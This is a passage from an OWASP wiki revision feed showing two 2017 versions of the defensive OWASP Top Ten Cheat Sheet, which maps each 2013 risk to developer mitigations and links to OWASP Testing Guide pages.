{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231994</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231994"/>
				<updated>2017-08-03T03:11:03Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V4)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 Weak authentication and session management'''&lt;br /&gt;
||''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Test Role Definitions (OTG-IDENT-001)]]&lt;br /&gt;
* [[Test User Registration Process (OTG-IDENT-002)]]&lt;br /&gt;
* [[Test Account Provisioning Process (OTG-IDENT-003)]]&lt;br /&gt;
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]&lt;br /&gt;
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
* [[Testing for default credentials (OTG-AUTHN-002)]]&lt;br /&gt;
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]&lt;br /&gt;
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]&lt;br /&gt;
* [[Testing for Weak password policy (OTG-AUTHN-007)]]&lt;br /&gt;
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]&lt;br /&gt;
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]&lt;br /&gt;
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]&lt;br /&gt;
* [[Testing for Session Management Schema (OTG-SESS-001)]]&lt;br /&gt;
* [[Testing for cookies attributes (OTG-SESS-002)]]&lt;br /&gt;
* [[Testing for Session Fixation (OTG-SESS-003)]]&lt;br /&gt;
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
* [[Testing for logout functionality (OTG-SESS-006)]]&lt;br /&gt;
* [[Test Session Timeout (OTG-SESS-007)]]&lt;br /&gt;
* [[Testing for Session puzzling (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 XSS'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]&lt;br /&gt;
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]&lt;br /&gt;
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]&lt;br /&gt;
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]&lt;br /&gt;
* [[Testing for HTML Injection (OTG-CLIENT-003)]]&lt;br /&gt;
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object References'''&lt;br /&gt;
||If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
||Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Sensitive Data Exposure'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Missing Function Level Access Control'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
||&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
||&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Using Components with Known Vulnerabilities'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231993</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231993"/>
				<updated>2017-08-03T03:09:07Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V4)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 Weak authentication and session management'''&lt;br /&gt;
||''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Test Role Definitions (OTG-IDENT-001)]]&lt;br /&gt;
* [[Test User Registration Process (OTG-IDENT-002)]]&lt;br /&gt;
* [[Test Account Provisioning Process (OTG-IDENT-003)]]&lt;br /&gt;
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]&lt;br /&gt;
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
* [[Testing for default credentials (OTG-AUTHN-002)]]&lt;br /&gt;
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]&lt;br /&gt;
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]&lt;br /&gt;
* [[Testing for Weak password policy (OTG-AUTHN-007)]]&lt;br /&gt;
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]&lt;br /&gt;
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]&lt;br /&gt;
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]&lt;br /&gt;
* [[Testing for Session Management Schema (OTG-SESS-001)]]&lt;br /&gt;
* [[Testing for cookies attributes (OTG-SESS-002)]]&lt;br /&gt;
* [[Testing for Session Fixation (OTG-SESS-003)]]&lt;br /&gt;
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
* [[Testing for logout functionality (OTG-SESS-006)]]&lt;br /&gt;
* [[Test Session Timeout (OTG-SESS-007)]]&lt;br /&gt;
* [[Testing for Session puzzling (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 XSS'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_JavaScript_Execution_(OTG-CLIENT-002) Testing for JavaScript Execution (OTG-CLIENT-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_HTML_Injection_(OTG-CLIENT-003) Testing for HTML Injection (OTG-CLIENT-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) Testing for Cross Site Flashing (OTG-CLIENT-008)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object References'''&lt;br /&gt;
||If data is from internal trusted sources, no data is sent.&lt;br /&gt;
